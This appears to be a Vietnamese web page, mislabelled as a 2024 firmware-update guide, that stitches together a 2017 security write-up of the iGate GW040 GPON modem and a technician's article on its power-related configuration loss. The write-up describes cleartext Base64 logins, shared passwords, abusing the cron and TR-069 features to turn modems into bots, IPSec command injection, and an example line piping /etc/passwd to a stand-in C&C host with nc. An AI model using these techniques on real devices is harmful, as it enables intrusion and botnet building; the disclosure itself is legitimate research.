Hướng dẫn cập nhật firmware igate gw040 năm 2024

Hôm nay ngồi search vu vơ tự nhiên thấy mạng của 1 ISP có con GPON ONT mở cổng khá nhiều. Search thêm 1 tý thì thấy hóa ra là sản phẩm tự xây dựng nên có hứng thú check choác 1 tý.

Hướng dẫn cập nhật firmware igate gw040 năm 2024

Những cảm nhận đầu tiên Cảm nhận đầu tiên là cách thức đơn vị phát triển và triển khai con này hơi kỳ. Nếu các bạn search Shodan sẽ thấy các version tồn tại khá lổn nhổn. Tức là khả năng cao các thiết bị ONT này chưa có hệ thống quản lý, upgrade firmware tập trung. Khi có sự cố, việc update vá lỗi sẽ khá là painful. Dưới đây là 1 mẫu pattern check từ shodan.

Tiếp theo là modem gì mà mở ***** cổng ra internet. Đây là web management nhá, gần 20 ngàn thiết bị mở cổng 80.

Telnet thì cũng hơn 8600 bạn mở.

Note: Bài viết này chỉ mang tính tham khảo vì sự kiện này từ 10/2017 nhé. 31/10/2017: Đại diện chủ sản phẩm và dịch vụ đã liên hệ và cho biết đã nhận thức được vấn đề. chủ sản phẩm dịch vụ sẽ fix lỗi sau 90 ngày.

Từ phiên bản firmware phát hiện lỗi trên tới nay thì đơn vị cung cấp đã update khá nhiều phiên bản firmware mới rồi nhé. Nếu bạn cảm thấy modem của mình chưa được update hay còn ghi ngại lỗi trên thì thực hiện một số biện pháp sau nhé:

1.Hạn chế việc mở các cổng quản trị ra internet. Hãy đóng các cổng quản trị khi không có nhu cầu. Nếu không biết đóng như nào, hãy gọi điện cho ISP của bạn để yêu cầu hướng dẫn. (Sau này có thời gian mình sẽ dựng 1 con server hỗ trợ các bạn tự check những rủi ro tương tự thế này và làm các hướng dẫn khắc phục hoặc hạn chế. Nếu bạn nào muốn góp sức thì liên hệ với mình. Rất hoan nghênh các ISP và vendor tham gia để bảo vệ chính các khách hàng của mình).

2. Nếu bắt buộc phải mở quản trị từ xa, chú ý: Đổi mật khẩu mặc định. Đặt mật khẩu mới đủ mạnh (trên 8 ký tự, đủ chữ số, hoa thường và ký tự đặc biệt. Và nên là cái gì gợi nhớ không chính bạn lại quên rồi nản lại tự đặt đơn giản. VD:D@cv4!cabi3t tức là "Đặc vãi cả biệt") Không truy cập bằng wifi public. Nói chung lưu lượng cho quản trị chả đáng mấy, dùng 3G mà quản trị Ngay khi có thể tắt quản trị từ xa, hãy tắt quản trị từ xa. Bạn sẽ không bao giờ biết được có bao nhiêu "0-day" trên 1 phần mềm mà các team làm modem viết ra có thể bị phát hiện và khai thác mới.

Nội dung lỗi:

Hôm nay ngồi search vu vơ tự nhiên thấy mạng của 1 ISP có con GPON ONT mở cổng khá nhiều. Search thêm 1 tý thì thấy hóa ra là sản phẩm tự xây dựng nên có hứng thú check choác 1 tý.

Những cảm nhận đầu tiên Cảm nhận đầu tiên là cách thức đơn vị phát triển và triển khai con này hơi kỳ. Nếu các bạn search Shodan sẽ thấy các version tồn tại khá lổn nhổn. Tức là khả năng cao các thiết bị ONT này chưa có hệ thống quản lý, upgrade firmware tập trung. Khi có sự cố, việc update vá lỗi sẽ khá là painful. Dưới đây là 1 mẫu pattern check từ shodan

Tiếp theo là modem gì mà mở ***** cổng ra internet. Đây là web management nhá, gần 20 ngàn thiết bị mở cổng 80.

Telnet thì cũng hơn 8600 bạn mở

Google search thông tin về con này thì còn hài hơn. Trang blogspot của đơn vị phát triển thì các bạn kỹ thuật, tester lên public luôn password của account "operator".

Còn trang tinhte.vn còn có 1 luồng thảo luận về các thể loại password luôn. Trong đó thấy nổi lên 1 điều là password của các thiết bị này sẽ được các bạn kỹ thuật mỗi tỉnh fix chung cho 1 cái. Nói chung là ở tỉnh nào thì có thể đăng nhập được tất cả các thiết bị khác trong tỉnh. Quá tiện!

Thử xem con web

Check thử 1 con đang mở web ra internet, lại tá hỏa tập tiếp theo: Web chỉ hỗ trợ http, không mã hóa đường truyền.

Bắt thử dữ liệu gửi lên thì cũng may các bạn ấy không đóng plaintext mà gửi dạng thế này:

Authorization=Basic YWRtaW46YWRtaW4=

Nhìn nghi nghi là Base64, check thử code thì hóa ra là Base64 thật. Quỳ!

auth = "Basic "+Base64Encoding(userName+" "+password); document.cookie = "Authorization=" + auth;

Như này có nghĩa là nếu chủ nhân của các modem này truy cập quản trị từ 1 quán cafe nào đó thì họ hoàn toàn có thể bị mất mật khẩu quản trị modem chỉ trong 1 nốt nhạc! Bảo sao report tháng 06/2017 của Kaspersky, modem này đã được sánh vai với các cường quốc năm châu về top các thiết bị đi attack các honeypot của Kas: https://www.exploitthis.com/2017/06/19/honeypots-and-the-internet-of-things

Về cơ bản đây là 1 sản phẩm của người Việt làm ra, bọn mình thực hiện pentest không vì bất kỳ mục đích xấu nào ngoài mục đích muốn sản phẩm được ngày càng tốt lên.

Tiếng sét ái tình từ cái nhìn đầu tiên

Theo kinh nghiệm bản thân thử lượn lờ vào trang quản trị xem có đoạn nào khả dĩ có thể tương tác được với OS hay không, lướt nhanh 1 cái thấy ngay chức năng này.

Hướng dẫn cập nhật firmware igate gw040 năm 2024

Không rõ mục đích của các bạn phát triển như thế nào nhưng qua chức năng này thật quá đơn giản để tạo botnet mà chẳng cần mất công code, lợi dụng chức năng crontab này mình có thể setup yêu cầu thiết bị định kỳ connect back về server lấy 1 đoạn script và chạy nó. Như ở trên là mình thử đặt cứ 1 phút 1 lần lên trang C&C lấy và chạy file a.

VD nội dung file a:

Cat /etc/passwd | nc c.and.c 77

Thì sẽ được:

Hướng dẫn cập nhật firmware igate gw040 năm 2024

Quản trị hay bị quản trị ?

Dò tiếp 1 chút thì thấy chức năng Tr069:

Hướng dẫn cập nhật firmware igate gw040 năm 2024

Đây là chức năng cho phép nhà mạng quản lý thiết bị từ xa (theo dõi thông số hoạt đông, upgrade, cấu hình …)

Có 3 vấn đề ở chức năng này:

- Server không sử dụng https.

- Thiết bị không xác thực server.

- Người dùng có quyền cấu hình địa chỉ ACS server (chả hiểu có ông khách hàng nào có nhu cầu tự dựng server quản trị riêng hay không).

Kết hợp cả 3 yếu tố thì chức năng này không khác gì chức năng crontab ở bên trên, nghĩa là nếu bị hack thì thiết bị hoàn toàn có thể bị trỏ về ACS của hacker và biến modem trở thành bot.

Phân tích binary

sử dụng binwalk để extrart firmware:

Hướng dẫn cập nhật firmware igate gw040 năm 2024

Firmware sử dụng định dạng ubifs (read only file system) và 1 vùng jffs2 chắc để lưu volatile variables.

Sau khi extrart duyệt qua filesystem 1 chút, lấy được file /bin/httpd.

Hơi bất ngờ khi biên dịch ngược code các bạn có enable cờ bảo vệ stack, chắc cũng đã được apply 1 cái coding convention nào đấy rồi, hơn hẳn mấy con modem tàu mình nghịch trước đây => very good!.

Hướng dẫn cập nhật firmware igate gw040 năm 2024

Ngồi đọc dạo qua binary 1 vòng phát hiện 1 đoạn code gọi hàm system với tham số truyền từ bên ngoài vào.

Hướng dẫn cập nhật firmware igate gw040 năm 2024

Trace ngược lại chút thì đoạn code này được sử dụng cho chức năng IPSec có thể trigger bằng request add new ipsec connection.

Hướng dẫn cập nhật firmware igate gw040 năm 2024

Chỉnh sửa request:

Hướng dẫn cập nhật firmware igate gw040 năm 2024

Và kết quả:

Hướng dẫn cập nhật firmware igate gw040 năm 2024

Kết luận:

Đây là một sản phẩm khá tốt và có vẻ cũng đã để ý đến vấn đề ATTT, tuy nhiên mình có 1 cảm giác thiết bị chưa thực sự được chú trọng ở khâu thiết kế khi chắp vá cóp nhặt các chức năng của các thiết bị khác mà không có cái nhìn về hệ thống dẫn đến nhưng lỗi cơ bản về ATTT không đáng có. Hơi đáng tiếc

(Nguồn: fosec )

Cách xử lý lỗi cấu hình dòng Modem GPON iGate

Đây là kinh nghiệm của một cán bộ kỹ thuật ở VNPT Ninh Thuận - anh Minh Triết, về giải pháp làm giảm số lần báo lỗi, xử lý công việc tốt hơn trong bối cảnh các thiết bị mạng, đặc biệt là thiết bị đầu cuối Modem lắp đặt tại nhà khách hàng là một trong những nguyên nhân ảnh hưởng đến chất lượng dịch vụ Inernet.

Trên mạng của chúng ta hiện nay, VNPT các tỉnh/TP đang cung cấp cho khách hàng 3 loại Modem ONT là iGate, ZTE và Huawei; trong đó Modem ZTE và Huawei chạy khá ổn định, riêng iGate thường bị lỗi mất cấu hình và xảy ra trên diện rộng, tất cả các VNPT tỉnh/TP đều gặp phải. Tuy nhiên, tại nhiều VNPT tỉnh/TP, lỗi này chưa được giải quyết dứt điểm.

Nguyên nhân gây mất cấu hình của Modem nói chung gồm: Điện áp không ổn định làm liên tục xuất hiện các xung nhọn tác động vào bộ nhớ Flash (sốc điện) gây nên mất cấu hình; Phần mềm hệ thống (Firmware) hoạt động không ổn định; và bộ nhớ Flash chất lượng kém, bị nhảy với điện áp, xung điện.

Về nguồn điện bên trong Modem iGate, nhà sản xuất chọn IC TPS54494 có điện áp đầu vào hoạt động rộng từ 4.75V đến 18V DC giống như các IC nguồn của ONT Huawei chọn IC MP1484DS, nhưng khác nhau ở chỗ, IC TPS54494 xuất ra 2 mức điện áp 3.3V cấp cho Flash và 5V cấp cho USB. Đây chính là điểm khác biệt bên trong giữa bộ nguồn của iGate và nguồn của ZTE, Huawei.

Khác với mô tả của anh em kỹ thuật các tỉnh/TP về pan/lỗi này, những tác động để Modem iGate mất cấu hình không theo quy luật nào, có khi một tuần mất 3 - 4 lần, nhưng có khi cả tháng chạy vẫn ổn. Qua việc thử “cố ý tác động có quy luật” để Modem này mất cấu hình, từ đó xác định được nguyên nhân gián tiếp và chọn hướng xử lý - bằng cách dùng nguồn Autovol cấp nguồn cho Modem và điều chỉnh thay đổi điện áp từ 4.5V đến 12V vài lần, đôi khi vài phút (một số bộ nguồn sẽ lâu hơn) và Modem sẽ bị mất cấu hình.

Thực hiện test với phiên bản G4.16A.02RTM và G4.16A.04RTM, kết quả xảy ra đều mất cấu hình, với phiên bản G4.16A.04RTM tác động để mất cấu hình xảy ra lâu hơn. Cũng cách thức này và thực hiện với ONT ZTE và Huawei không bao giờ xảy ra mất cấu hình, cho dù có thực hiện thay đổi điện áp cung cấp.

Từ đó có thể rút ra kết luận: Nguyên nhân trung gian gây mất cấu hình của Modem iGate là nguồn cung cấp không ổn định. Nguồn Modem iGate được thiết kế sơ sài, không có hồi tiếp điện áp từ đầu ra trở về IC dao động công suất, nên bộ nguồn này không có sự điều chỉnh giúp điện áp ra ổn định.

Về nguyên nhân trực tiếp, để xác định lỗi do bộ nhớ Flash hay lỗi do Flash chất lượng kém - bằng cách tiếp tục tiến hành thực nghiệm sau: Dùng Flash của Modem đang bị lỗi mất cấu hình (đã thực hiện 02 con chip G4.16L.04RTM và có cùng kết quả) đưa vào máy nạp ROM - chuyên dùng xóa sạch bộ nhớ, sau đó ghi lại FW và sau khi ghi xong, hàn trả vào Modem và tiếp tục thực hiện tác động điện áp như lần trước thì không hề xảy ra mất cấu hình, cho dù đã thử rât nhiều lần.

Như vậy tác nhân gây ra mất cấu hình đã loại trừ bộ nhớ Flash chất lượng kém mà nguyên nhân còn lại là do FW viết chưa ổn định (được lập trình ban đầu chưa tốt), chưa loại bỏ hết tác nhân gây nhiễu, các xung nhọn tác động đến bộ nhớ Flash đã dẫn đến xóa mất dữ liệu, hoặc quy trình FW bị lỗi.

Lý do chọn FW G4.16L.04RTM để thực nghiệm là bởi phiên bản này nhà sản xuất không mã hóa, các phiên bản sau này như G6.16A.03RTM… đều được nhà sản xuất mã hóa một phần nên khi đọc ra và ghi dữ liệu vào lại Flash Modem sẽ không hoạt động được.

Như vậy có thể kết luận về nguyên nhân gây mất cấu hình của Modem iGate là: Nguyên nhân gián tiếp là do nguồn cung cấp không ổn định gây ra và nguyên nhân trực tiếp là nhà sản xuất viết firmware chưa đạt độ ổn định cao nhất, chưa bao quát được các khả năng tác động có thể dẫn đến xóa Flash. Ở đây, anh Triết đã loại trừ nguyên nhân tác động mất cấu hình từ OLT.

Về giải pháp khắc phục, trước mắt những Modem hay bị mấy cấu hình nên thay thế Adaptor (nguồn cung cấp cho Modem) và dùng loại có chất lượng tốt hơn, do chính hãng sản xuất - sẽ giải quyết đáng kể PAN bị mất cấu hình; đồng thời nên đề nghị nhà sản xuất Modem iGate tiếp tục nâng cấp Firmware để đạt độ ổn định tối đa.

(Để biết thêm thông tin chi tiết, bạn đọc có thể liên hệ đến anh Minh Triết - điện thoại 0913.798868)